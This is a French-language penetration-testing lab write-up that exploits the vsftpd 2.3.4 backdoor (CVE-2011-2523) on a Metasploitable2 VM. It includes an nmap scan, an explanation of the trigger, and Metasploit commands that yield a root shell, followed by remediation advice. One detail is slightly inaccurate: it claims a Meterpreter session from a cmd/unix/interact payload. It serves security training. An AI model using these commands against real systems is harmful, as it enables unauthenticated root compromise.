Metasploitable2 — Exploitation de la backdoor vsftpd 2.3.4

Un laboratoire pratique démontrant la découverte et l'exploitation d'une vulnérabilité backdoor connue dans vsftpd 2.3.4, en utilisant un environnement isolé Kali Linux ↔ Metasploitable2.

Objectif

Mettre en pratique le flux de travail de base du test d'intrusion — reconnaissance, identification des vulnérabilités, exploitation et vérification post-exploitation — contre une machine cible volontairement vulnérable.

Environnement de laboratoire

Les deux machines virtuelles ont été maintenues sur le même segment de réseau privé, isolées du réseau réel, afin de garantir que l'exercice n'ait aucune exposition externe.

Méthodologie

1. Reconnaissance — Scan Nmap

nmap -sV -sC 192.168.233.129

Analyse de la cible à la recherche de ports ouverts et de versions de services. Résultats obtenus :

PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
22/tcp   open  ssh         OpenSSH 4.7p1 Debian
23/tcp   open  telnet      Linux telnetd
25/tcp   open  smtp        Postfix smtpd
...

2. Identification des vulnérabilités

Le port 21 exécutait vsftpd 2.3.4. Cette version spécifique est publiquement connue pour contenir une backdoor : en 2011, l'archive source officielle de vsftpd a été compromise et du code malveillant y a été inséré. Se connecter avec un nom d'utilisateur contenant la chaîne :) déclenche un listener caché sur le port TCP 6200, accordant un shell distant sans authentification.

• Référence : CVE-2011-2523
• Impact : Exécution de code à distance sans authentification en tant que root

3. Exploitation — Metasploit

msfconsole
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 192.168.233.129
set payload cmd/unix/interact
run

L'exploit a déclenché avec succès la backdoor et ouvert une session Meterpreter.

4. Vérification post-exploitation

sessions -i 1
sysinfo
getuid

Confirmation de la session active et du niveau d'accès sur la machine compromise.

Résultat

Obtention d'un accès shell distant de niveau root complet à la machine cible, sans authentification requise, en exploitant un seul service obsolète et contenant une backdoor.

Cause racine

• Version logicielle obsolète (vsftpd 2.3.4) connue pour avoir été compromise à la source
• Aucun processus en place pour détecter ou corriger une version de service présentant une vulnérabilité connue

Remédiation

• Mettre à niveau vsftpd vers une version actuelle, vérifiée et saine
• Toujours télécharger les paquets logiciels depuis des dépôts officiels/vérifiés avec validation des sommes de contrôle
• Mettre en place une analyse régulière des vulnérabilités afin de détecter les versions de services obsolètes avant le déploiement
• Restreindre les services exposés inutiles (FTP) lorsque ceux-ci ne sont pas requis, ou les placer derrière des contrôles d'accès supplémentaires

Point à retenir

Un seul service obsolète présentant une vulnérabilité publique connue a suffi à compromettre entièrement le système — aucun développement d'exploit personnalisé ni technique avancée n'a été nécessaire. Cela souligne pourquoi la gestion des correctifs et l'hygiène des versions sont fondamentales pour la posture de sécurité dans le monde réel.

Avertissement

Cet exercice a été réalisé exclusivement contre Metasploitable2, une machine virtuelle volontairement vulnérable conçue pour la formation en sécurité, au sein d'un réseau de laboratoire isolé, sans connexion à des systèmes de production ni à une infrastructure tierce.